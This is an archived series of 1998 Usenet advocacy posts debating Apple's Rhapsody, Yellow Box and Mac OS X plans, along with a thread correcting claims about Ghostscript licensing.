> >Yet, others say Steve Jobs and in a Q&A (!97) that Intel/Rhapsody
> >is dead beyond 1.0 release. All I have been asking for is a
> >statement from Apple via a press release or white paper that
> >outlines what the NT5/98 plans are.
>
> Apple outlined their plans with regard to Yellow Box on
> Windows at WWDC. That hasn't changed.
Which WWDC? There have been 2 of 'em if you want to split hairs, and
historically WWDC's technology announcements vs deployment record isn't
awe inspiring.
Tidbits points out that WWDC 97 said Yellowbox would be out and have
'free' YB for windows.
> WebObjects relies on YB on NT. The fourth largest contract
> ever awarded by the Federal Goverment is based on WebObjects.
And where is the press-release on that? Nice press....why doesn't Apple
promote it?
> >And for some reason the writers who appear at StepWise and Nathan
> >don't feel a press release is reasonable to ask for.
> I've never said that.
And never have claimed you have.
I hereby modify the writers who appear to the writers who sometimes
appear.
Or how about:
the regular posters in c.s.n.a who appear at StepWise
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 19 May 1998 00:25:17 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6jqjhd$39n$6@blue.hex.net>
References: <6jh6lm$526$1@news.idiom.com> <6jhf5b$ku3@sjx-ixn10.ix.netcom.com> <6jhguk$526$3@news.idiom.com> <6jhior$njn@sjx-ixn10.ix.netcom.com> <355c8237.0@206.25.228.5> <markeaton-1605981141120001@user-38ld69u.dialup.mindspring.com> <us5vhr5iye0.fsf@ai.mit.edu> <1d954cy.ca4pnwrljkekN@carina37.wco.com>
On Sat, 16 May 1998 22:04:59 -0700, Mike Paquette <mpaque@wco.com> wrote:
>Stephen Peters <portnoy@ai.mit.edu> wrote:
>
>> Assuming that the main reason for the change was the royalty cost for
>> YB apps to deploy on Windows, DGS *would* solve that problem, since
>> it's a clean-room implementation of the DPS spec. It would be, in
>> effect, royalty free (Apple pays royalties to Adobe for the
>> implementation, not the language).
>
>Contrary to popular belief, GhostScript and derived products are free
>for non-commercial use only. Commercial use requires that one work out
>a license agreement with Aladdin, Peter Deutsch's software company.
There are indeed two "versions" of Ghostscript:
a) Aladdin Ghostscript, and
b) GNU Ghostscript.
Aladdin Ghostscript is a commercial product which, as you have correctly
indicated, is freely usable for non-commercial use. As you have
indicated, commercial use of Aladdin Ghostscript does indeed require
licensing it from Aladdin.
From there, you head on into the realm of claims that rather contradict
reality:
>The version you can get source code for typically lags behind Aladdin's
>version by about 18 months, and is covered by the same license.
Falsehood #1: "The version you can get source code for typically lags
behind Aladdin's version by about 18 months"
Source code for *both* packages are available as soon as they are
released. You can head to the Ghostscript web site
<http://www.cs.wisc.edu/~ghost/> and get the latest versions of either
GNU Ghostscript or Aladdin Ghostscript, both in source code form.
Falsehood #2: "The [lagged by 18 months] version ... is covered by the
same license"
The "commercial" Aladdin Ghostscript software reverts to the GNU Public
License after 18 months. The GPL is *NOT* the same license. It permits
redistribution with the "GPL" set of restrictions that, notably, require
neither:
a) Licensing fees, nor
b) Licensing arrangements with Aladdin.
--
Windows '95 - A 32 bit patch for a 16 bit interface to an 8 bit OS
designed for a 4 bit chip.
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 17:09:37 -0700
Message-ID: <see-below-1805981709380001@209.24.240.36>
References: <ericb-1105981718430001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <ericb-1705981553500001@132.236.171.104> <6jnfgg$prv$1@crib.bevc.blacksburg.va.us> <ericb-1805981350170001@132.236.171.104>
In article <ericb-1805981350170001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <6jnfgg$prv$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > Yes, but would YB have shipped with every new Mac? It would have been
> > the smart choice.. anyway, YB under OS X will run better than YB under
> > MacOS.
>
> Yes, but it is the usual Apple story: put off what was promised for
> something even better, but neither of which can be delivered, so will you
> please all just wait another year and a half...
>
> There comes a point when I don't care about a year and a half from now. I
> would want to see YB running on MacOS 8 *now* even if it's not the perfect
> environment.
Umm... I don't think Apple ever stated that YB would be supported in MacOS
by any particular point in time. At the beginning they did say that it
_would_ be in MacOS, but they never said when. And after a short while, it
became clear that the future of YB in MacOS at all was
uncertain--appearantly they decided it wasn't technically worthwile to
attempt, and instead found it easier to move better Mac compatibility into
Rhapsody.
As someone (Nathan Urban?) said a while back:
Now we know how they get Yellow Box in MacOS.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 18 May 1998 16:58:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jqhu8$ii4@nntp02.primenet.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk> <6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com>
<joe.ragosta-1805981651520001@wil113.dol.net> <6jq8er$mhk$6@news.xmission.com>
Don Yacktman <don@misckit.com> wrote:
: Well, I will ask you to decide who you choose to believe, then. In my
: mind, Stepwise is the more reliable source. To wit, Scott posed the
: question to Steve Jobs himself. Over the weekend, Jobs sent this
: response:
: ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
: ] All efforts are going into Mac OS X. Apple has not commited
: ] to shipping Mac OS X on any platform other than PPC.
: Do you now see why I consider this to be a serious matter?
I can understand the dissapointment if Rhapsody/Intel is going away.
On the other hand, I think you have to admit that Apple is following a
consistent plan for the first time in years. Apple used to have a lot of
conflicting plans and self-identities between its various groups. If
Apple focuses on creating, marketing, and _supporting_ an integrated
system they may do well. Or at least better than the old "are we hardware
or are we software?" days.
The old criticism of proprietary platforms was that users were too easily
abused by their sole source. Apple still has tremendous good will among
its core market. If the company can build on that good will, and convince
the user base of the advantages of an integrated harware and software
system they may prosper. For that to work, the user has to be convinced
that he is offered better support by The Integrated Systems company.
Such turn-key systems aren't for everyone, but they may be right for
enough people for Apple to make a market.
John
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 17:11:48 -0700
Message-ID: <see-below-1805981711480001@209.24.240.36>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jpu6k$rps$1@crib.bevc.blacksburg.va.us>
In article <6jpu6k$rps$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <ericb-1805981357420001@132.236.171.104>, ericb@pobox.com
(Eric Bennett) wrote:
>
> > In article <joe.ragosta-1805980747570001@wil100.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > > I see. So it's safe to assume that there will never be a Windows NT 6.0?
> > > After all, there's no formal announcment.
>
> > > Or, Intel will never ship an x86 chip after 1999? No announcement.
>
> > > Darn--I better find an alternative to Office. There won't be a product
> > > after Office 99. (by your logic).
>
> > Companies need to map out their strategies ahead of time. Apple has
> > mapped out its strategy for OSes that run MacOS applications through the
> > end of 1999. It has *not* done the same for the yellow box. Why?
>
> Excuse me? The stated strategy is that it will be running on MacOS
> X and Windows in 18 months (actually, Windows in a few months), and
> probably also on a separate "Rhapsody" product (also in a few months).
> They have mapped out the technologies they have folded into it or are
> intending to fold into it, including scripting, Java, Quicktime, etc.
Also see
<http://www.macnn.com/reality/archives/051898/news.shtml#RhapsodyIntel>
for comfirmatin of Rhapsody for Intel versions _after_ 1.0, including this
e-mail:
----------------- Begin forward message -----------------
Subject: Re: Rhapsody/Yellow Box - RIP, Not!
From: Jordan Dea-Mattson <xxxxxx@apple.com>
Date: Wed, 13 May 1998 20:04:25 -0700
Dear Julian -
Apple will be delivering Rhapsody 1.0 for Intel and will continue to
deliver Rhapsody for Intel. Bertrand stated this clearly in his keynote.
We are not planning Carbon for Rhapsody and we are not planning Carbon
for Windows. Yellow Box is our cross-platform API.
Yours,
Jordan
----------------- End forward message -----------------
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 00:25:33 GMT
Message-ID: <6jt7tt$enb$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Apple really screwed up. Apple has the BEST OS!! in the world, openstep,
and it is being discouraged from flourishing. Why is this? THeir are all
these openstep programmers, who are using rhapsody for intel or openstep for
mach or openstep for nt. They write their apps on a pc, and qa their
programs on the pc with nt. Now, Apple is saying "if you want to develop for
yellowbox, you have to buy a mac to do it".
Yes, rhapsody for intel 1.0 will be out, but this will be the end of rhapsody
for intel. Its true.
From: Jordan Dea-Mattson <jordan@apple.com>
Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
Apple is forcing the best os into further obscurity.
1) for many yellowbox programmers, buying a mac simply isnt a solution.
THese developers will be lost
2) many of these programmers work have all pc's, getting a apple os that runs
on pc's is a solution, buying mac hardware ISNT.
3) How many pc owners will buy rhapsody 1.o for intel? It would be preety
stupid knowing its the last version.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 19 May 1998 16:05:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6jt36t$bs2@nntp02.primenet.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfq6$e3n$1@news.tuwien.ac.at> <3561D9FA.69A0B628@unet.univie.ac.at> <6jsokh$rkf@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Robert F Tobler wrote:
: > [S8] IT managers that buy Intel machines can
: > only be pursuaded to switch from Microsoft solutions to other
: > solutions if these other solutions run on the hardware they bought.
: > Thus Rhapsody/Intel is the only way for Apple to steal seats from
: > Microsoft.
: Shouldn't Yellow-Box-on-Microsoft-OS be even easier to sneak in than
: Rhapsody-on-Intel ? This is a solution that runs not only on the
: hardware, but also on the software that they bought.
How does Yellow-Box-on-Microsoft-OS make Apple any money ... esp. with the
promised "free runtime".
: Or else, there is some dirty secret about YB-on-Windows that so
: far hasn't been talked about on this newsgroup. In which case,
: the cross-platform (Apple OSes and MS OSes) strategy is dead.
The only issue avoided is that everyone who has tried to take away
Microsoft's tools business on Windows has been ground into dust. If
Yellow Box stays in a "ported from Apple" niche, Microsoft may leave it
alone. Otherwise, see "Borland".
John
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: give them what they want, what they really really want... :-)
Date: Tue, 19 May 1998 10:01:26 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Et77uE.7zq@AWT.NL>
References: <6jpv0r$1cc$103@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>Thanks to Don Y for pointing out this one:
>
>http://www.sfgate.com/cgi-bin/article.cgi?file=/examiner/hotnews/stories/17/
apple.dtl
>
>While Microsoft fights in court to defend its monopoly-created power to
>force-feed its crummy products to unhappy users, Jobs has been busy giving
>everyone what they want.
Side note: today, one of our better national newspapers (I personally think
it is the best even after having read this:) wrote about the Microsoft issue
that Microsoft has only one big contender left: Apple, who's internet browser
was called "Netscape Navigator" ;-). That about sums up the sorry state of
knowledge about these issues in the popular press. (Well, to the newspaper's
defence, I must say that it was their eceonomic editor that wrote it, not
their internet editor).
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: Tue, 19 May 1998 10:06:52 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Et783G.831@AWT.NL>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com> <6jjo21$n53$9@news.idiom.com> <6jphq0$nl$1@walter.cs.umd.edu> <6jpkuo$lm6$1@news.idiom.com>
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
>Rev 1.0:
>
>[[[Media mediaWithClue:nil] emulate:
> [Reporter reporterWithName:@"Scott"]]
> autorelease];
Autorelease? Will this good reporter be destroyed at the first event? ;-)
I wish for at least a 100 informed journalists on these issues. Permanently.
for (i=0; i<100; i++) {
/* Create them and forget the key to their destruction */
[[Media createReporterFromTemplate:scott] retain];
}
while (1) ; /* Don't end this program Ever so they'll stay around */
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: 20 May 1998 00:28:40 GMT
Message-ID: <6jt83o$enb$2@newsfep4.sprintmail.com>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com> <caradoc-1705981541570001@caradoc.neta.com>
<3560c256.6780119@news.sydney.apana.org.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rajt@gco.apana.org.au
In <3560c256.6780119@news.sydney.apana.org.au> Raj Thomas wrote:
> caradoc@neta.com (John Groseclose) wrote:
> >In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
> >MACGHOD <Macghod@concentric.net> wrote:
> >> All the news on microsoft says its os's have about %90 of the pc market.
> >> Now if macs are %20 of the market like Apple claims, this cant be true.
> >> And then when you add PC's where the users dont have a microsoft os
(such
> >> as OPENSTEP, linux, etc), one may think that brings the non ms os's up
to
> >> %25 percent. This %90 number must be off, no?
>
> The Gartner group survey indicates that Macs have a 5 % market share.
> IDC claim that Macs have a 3 % market share.
That is marketshare, not installed base. The %90 figure is supposed to be
for installed base. Apple's installed base is between 15 million and 25
million macs. No one can know the exact number, because you dont know how
many arent being used anymore
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 20:44:58 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1805982044580001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu> <355F6C41.F47A4916@spamtoNull.com> <pulsar-ya02408000R1705982132390001@news-proxy.cso.uiuc.edu> <3560C0D9.76240877@spamtoNull.com>
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In article <3560C0D9.76240877@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> I guess my point was that skeptical developers could write to a properly
> functioning blue box without having to write to YB at all, if that's how
> they felt about it. My other point was that after Apple had released
> Rhapsody and developers began to feel the situation was more stable,
> they very well might have begun writing to YB.
Quite possibly, but given Apple's past, that wasn't going to happen.
Developers have no particular reason to trust Apple yet. Perhaps after the
release of Rhapsody, but definitely not before.
> > Which means that people were deluding themselves into believing that
> > Rhapsody could serve as an immediate replacement for the Mac OS. It
> > couldn't.
>
> What's "immediate" got to do with it as a qualifier? There's been
> nothing immediate about Rhapsody at all, except for various supporters
> talking about how it was running great three months after Apple started
> it, and how Apple developers were running a blue box that "ran most
> everything" in a terrifically short time.
It does do those things. It will perform quite nicely. The Blue Box
provides a great deal of application compatibility. Rhapsody still can't
serve as a replacement for the Mac OS right now. I would like it to, but I
doubt that it can.
> The word "immediate" has nothing to do with it, as Rhapsody isn't going
> to replace Mac OS at anytime, according to Jobs. Rather, Apple's new
> course is to "roll" what it can of Rhapsody into Mac OS and call it Mac
> OS 10.
There is no fundamental difference between Mac OS X except that it is
updated and has Carbon added in.
> > Be
> > OS was not mature enough and would have run into _exactly_ the same
> > problems that Rhapsody is.
>
> Which demonstrates the the truth of what I've said for a long time:
> Apple gained nothing timewise by buying NeXT over Be on the strength of
> the argument that the NeXT technologies were "more mature" than Be's and
> could be harnessed in the Mac environment much quicker. That is proving
> not to be the case.
Perhaps nothing _timewise_. It's not really known. It could very well have
taken a lot longer to get Be OS to a workable state, and then there would
be the same issues that Rhapsody is facing as far as replacing the Mac OS
goes.
> > The same goes for OS/2.
>
> OS/2?
That was one of the (less likely) proposed OSes for Apple to use. It was
rumored that Apple was considering IBM's PPC version of OS/2.
> No one thought "immediately" that I can recall. What they thought was
> "in 18 months" and they thought that because of the schedule released by
> Amelio that Jobs supplied him with through his capacity as advisor (a
> position Jobs does everything but deny he ever held, these days.)
If you look at that schedule, you see that Rhapsody Premier (which was due
at the beginning of this year) wouldn't have had a Blue Box. Rhapsody
Unified was to have much more of the Mac OS "look and feel" with a Blue
Box, but still not be entirely finished. What we're getting with Rhapsody
1.0 is Rhapsody Unified.
> > No, I said that Rhapsody 1.0 will ship with everything it was supposed to,
> > but if it were pushed as an immediate and complete replacement for the Mac
> > OS, it would have had a negative impact for both developers and users.
>
> Even if it worked as advertised? That is a strange statement, I think.
> People have been expecting Rhapsody ever since Apple bought NeXT.
What do you mean "as advertised"?
Apple had been saying that the Mac OS would continue on at least until the
year 2000. They had been saying that Rhapsody wouldn't replace the Mac OS
entirely, but that the two would be merged at some time in the future.
Rhapsody 1.0 is where Rhapsody Unified was supposed to be.
> Frankly, the *main* reasons NT4.0 didn't do so well was because it was
> full of inadequacies and bugs, and because M$ didn't market it as a
> replacement for Win3.1. Win95 *was*, however, the replacement--in every
> sense of the word--for Win3.1. Developers had to rewrite applications,
> users had to upgrade hardware to use it, and yet it did very, very well.
> Which just goes to show it *is* possible if it's done right.
Windows 95 also included a lot of design compromises that resulted in worse
performance and less reliability. These compromises resulted in better
backwards compatibility than NT, but even NT has more transparent backwards
compatibility than tha Blue Box can provide.
Furthermore, there are still a lot of Win3.1 installations still around.
Windows 95 has taken over the new computer market, but has made less
significant inroads towards replacing Win3.1 installations. NT could only
have done worse.
> This is what you don't understand about what I'm saying. I'm saying that
> if Rhapsody had done everything it was supposed to have done right, I
> believe it could have replaced the Mac OS very quickly.
Even if it were perfect in its initial release as a replacement for the Mac
OS, I doubt it would have done very well. (Better certainly, but without
developer support, it wouldn't have done spectacularly well for a while and
therefore couldn't have replaced the Mac OS initially.)
> > None. It is my opinion that this new strategy makes _more_ sense for Mac
> > developers. I'm not saying that it is the best possible scenario that could
> > have occured, but that given the situation as it was as of Monday that this
> > was the better direction that Apple could have taken.
>
> My own position is that it's time for Apple to stop announcing
> "directions" and to start shipping products.
Well, okay. I want them to ship Rhapsody too. If the announcement of Mac OS
X doesn't significantly affect the release date of Rhapsody 1.0, I don't
much care if Apple works on Mac OS X.
> > It was not too many posts ago that you were saying that Mac OS X would have
> > no Yellow Box, no Blue Box, and would require developers to rewrite their
> > applications for them to even be able to run and that Rhapsody was
> > fundamentally dead. You have shown repeatedly that you do not understand
> > completely.
>
> You misunderstood. I have said that Mac OS 10 has no "blue box, YB,
> Purple box, Polka-dotted box, etc.", merely because Mac OS 10 does not
> *exist.* Therefore, it cannot have any of these things.
That is not what you were saying. You said that Jobs _lied_ about dropping
2000 API functions from the Mac OS and that developers would be _forced_ to
rewrite for this (Carbon). That does not translate to Blue Box, Yellow Box,
and such won't be in Mac OS X because Mac OS X doesn't exist yet.
> Maybe they were waiting for better code which they hoped would arrive in
> the release version? Does this *possibly* make sense to you? Here we are
> with Rhapsody not even *released* yet in a 1.0 + form, and you've
> already concluded no one would have supported it! Yet, you say it
> performs great!
It does perform pretty darned well (according to what I've heard) in its
current form (DR2). Rhapsody 1.0 will do better. It could very well be that
developers were waiting for Rhapsody to be released before beginning
development for it, but that only supports my point that it can't replace
the Mac OS in its initial release.
> > There are serious indications that they in fact would _NOT_ have rewritten
> > for Rhapsody. This being the case, Rhapsody _could not_ have replaced the
> > Mac OS.
>
> But "serious indications" are not facts in evidence, are they?
The lack of any visible support from Microsoft and Adobe were two of these
big indications. It's not real evidence since it may be that they _are_
working on Rhapsody products, but we've seen them say that Mac OS X makes
more sense than Rhapsody replacing Mac OS entirely right away.
> Now, of
> course, we'll never know, since Rhapsody's release has been usurped by
> Mac OS 10 and Carbon! It's a sure bet that *now* developers won't be
> jumping on the Rhapsody bandwagon.
Nonsense. Carbon applications (if I'm not mistaken) can make use of the
Yellow Box. Developers can add Yellow Box features into their Carbon apps
as wanted and eventually convert the remaining parts of their apps over
when it becomes feasible. Rhapsody without Carbon would simply have forced
them to rewrite entirely instead of gradually working towards Yellow Box.
That was going to be a big deal. Given developer mistrust of Apple, they
may just have gone to Windows instead since they were going to have to go
to the trouble to rewrite.
> > Why would a user install Rhapsody just to be forced to run a slightly less
> > compatible Mac OS inside the Blue Box with all the increased hardware
> > requirements that come with Rhapsody? Why would a user not simply have
> > stuck with Mac OS? If they had no significant applications to run in the
> > Yellow Box, then all they'd have is a bloated Mac OS that wasn't as
> > compatible as the real Mac OS. This is why Rhapsody could not have served
> > as an immediate replacement.
>
> By your own pronouncement above, Win95 should have been a terrific flop!
> It required more resources and and it required rewritten programs. Those
> programs that weren't rewritten would still have run under Win95, but at
> reduced performance compared to Win95-native programming.
No, not at all. Mac OS 8 sold better in its first month than Windows 95!!!
Windows 95 has done fairly well, but it hasn't utterly replaced Win3.1.
There are still a lot of Win3.1 installations around that the release of
Windows 95 *in almost 3 years!* hasn't yet replaced.
Windows 95 didn't require a complete rewrite. Win16 programming is rather
similar to Win32 (except for the 16 to 32 bit transition which was made to
be a relatively easy transition). There are of course new features added
and fewer limitations, but Win32 looks quite similar to Win16.
The same cannot at all be said of Mac OS -> Yellow Box programming. The two
are totally different. Each use different programming languages even!
> You badly
> misjudge the caliber of the average Mac user (which I think is way above
> what you give credit for), and you underestimate how quickly a *properly
> functioning Rhapsody* would have caught the imagination of the Mac
> community and, more importantly, the computer community at large. I, for
> instance, was waiting EAGERLY to see what Rhapsody would be and whether
> Apple would stick behind it.
We're getting a properly functioning Rhapsody. It just won't be suitable
for most Mac users.
The Blue Box <--> Yellow Box difference is not transparent enough. Right
now, there are issues with disk access (only one of the Boxes can have a
disk mounted at a time), networking (only one of the Boxes can use a
particular network protocol at a time (meaning YB can use TCP and BB,
AppleTalk, but not both set up to use the at the same time)), screen usage
(either full screen or BB with its menu in a window), and drag&drop (only
cut&paste will be available).
Because the two architectures are so different (not like Win16->Win32), it
is harder to attain the same level of transparency that Windows 95 did
(even though that wasn't perfect either). Windows 95 didn't break
applications that tried to go straight to the hardware (NT does).
Rhapsody/Blue Box will. A lot of drivers used for DOS/Win3.1 continued to
work under Win95 (not under NT). The same is not true of Rhapsody/Blue Box.
Perhaps Mac users would be _more_ tolerant of this issue than I think, but
I still believe that _most_ won't be very happy with the Blue Box.
Further, Windows 95 _did_ have a lot of big name software company support
when it came out (mostly because of Microsoft is one of those companies).
Rhapsody does not only 3 months before its release.
> > But here is absolutely no evidence that it would have sold 5 million copies
> > in a year or anything even close. Rhapsody does have higher hardware
> > requirements such that running Rhapsody just to use the Blue Box
> > exclusively wouldn't be advantageous. This is particularly so when not all
> > applications (like those that deal with hardware access) would run. Why
> > would users buy a new OS just to do that?
>
> Wrong answer. Win95 users enthusiastically spent big $$$ to upgrade
> their hardware to run Win3.1's replacement, and they did it by the tens
> of millions the first year.
They certainly did not! Windows 95 did okay, but believing that it did
spectacularly well is falling into the hands of Microsoft marketing. There
are _still_ a lot of Win3.1 machines running out there. A lot of Win95
sales were driven by new machines. Relatively few were the result of of
Win3.1 to Win95 upgrades.
Mac OS 8 did better in its initial period of release than Windows 95 (which
may indicate pent up demand for an advanced OS in which case Rhapsody could
do spectacularly well relatively speaking).
> My point is that there is no good reason to sell Rhapsody
> short--none--unless....unless....you know it isn't going to fit the
> bill--IE, it isn't going to do what it is expected to do.
Well, yeah. People had expectations that were unreasonable. Hopes and
reality are not always the same things, ya' know.
> > I will buy Rhapsody. I will also be buying Yellow Box applications. I do
> > not care if the latest version of Microsoft Office does not run as a Yellow
> > Box application. I do not care if Adobe Photoshop won't run with preemptive
> > multitasking in a 100% PPC native environment. I will use the alternatives
> > available on Yellow Box when Rhapsody ships. I do not rely on the specific
> > big sofware titles that others do. I am not tied to any particular software
> > version.
>
> Good answer. There are probably a lot more Mac users like you than you
> suspect.
That might be. If that is the case, and Rhapsody is available at places
like CompUSA, then Rhapsody could sell pretty well. If Rhapsody isn't
available enough then it won't do well. This has been an issue for quite a
while. It has not been clear since the purchase of NeXT how Rhapsody would
initially be marketed. There were wishes, but if wishes were wings, sheep
would fly. (Obtuse Wheel Of Time quote). Apple should make Rhapsody widely
available even if it does not actively push it in the same direction as Mac
OS. I worry that Apple won't.
> > My intended use of the Blue Box will be light. I can tolerate the lack of
> > transparency between the Yellow and Blue Boxes. I will welcome the Unix
> > environment. I am almost sure that the majority of Mac OS users could not.
>
> Well, there's always a dual-boot approach, too, right? Apple could
> easily have engineered this capability into their new PowerMacs. You get
> a menu at boot from which you choose which OS to boot into. It is
> exceedingly easy to do this in ROM. Commodore was doing it EIGHT YEARS
> AGO with the Amiga 3000 series machines.
Yup. That may be satisfactory. It may not. If Rhapsody is widely available
(though perhaps not pushed as being a replacement Mac OS), we'll see if
users will tolerate such a setup. _I_ certainly will, but I doubt that
terribly many others will.
> > > Can you think of one good reason why it would now be released with a
> > > "bang?"
> >
> > Not really. Can you think of one good reason that it would have been
> > received well if it had?
>
> Because, *as advertised* Rhapsody is the best OS Apple's ever had!
Even if it is the greatest OS around, the lack of developer support could
mean that it won't be widely accepted. Even as it comes out, IMO, it will
be the greatest OS Apple has ever had!
I have no doubt that Rhapsody will sell. I bet it might even sell rather
well. What I doubt is that Rhapsody could serve as an immediate replacement
for the Mac OS. The Mac OS is firmly entrenched in people's minds. To have
something that replaces it, but makes all its apps "second class citizens"
(as has been said several times in this newsgroup) will not be perceived as
a good thing by the majority of Mac users.
> The
> only reason I can think of that it would not be well received is that it
> is far from complete and buggy and inadequate in many areas. I would
> expect that of an unfinished OS. But you and so many others are quick to
> point out just how marvelous Rhapsody *is!* Not "will be," but *is*!
Well, Rhapsody DR2 still doesn't have the same functionality as the Finder
(I don't think). Its UI is still not polished entirely, but these are
supposed to be ironed out by Rhapsody 1.0. Considering the progress
already made, I believe that it's possible.
Rhapsody will only be significantly inadequate in its YB to BB lack of
transparency and its relative lack of native application support.
> > The majority of consumers wouldn't have liked Rhapsody as it started out.
> > It is a good thing that they don't have it forced upon them. You are saying
> > something different.
>
> I've seen no statements from the "majority of consumers" to back you up,
> here. I have seen, however, many statements from Rhapsody users that
> testify to how powerful and delightful Rhapsody is, even in its current
> DR forms.
Okay. Good point, but why don't you go ask some Mac users out there (not on
the newsgroups ;) what they think of Rhapsody?
I have, and I get a lot of "What's Rhapsody?" When I explain it to them,
they ask "Will it run the software I use?" I explain the situation, and
most seem ambivalent. Some are enthusiastic. Nobody I've talked to seemed
negative about it though which is probably a good thing.
> > I will buy it, but the vast majority of the Mac user base will not. That is
> > what I believe. I believe that this would have been true even without the
> > "change" in direction that Apple made public (mostly to developers) on
> > Monday.
>
> All I can say is that because of the WWDC "Mac OS 10" announcement, I
> have no doubt you are right and that the "vast majority of the Mac user
> base will not" buy Rhapsody when it is released.
I believe that they wouldn't have anyway, _and_ developers would have been
even more annoyed at Apple. Apple is trying to satasfy everyone. Perhaps
it's not doing a terribly good job at satasfying anyone, but that remains
to be seen. Apple didn't have much choice but to do what they did IMHO.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 14:49:58 -0700
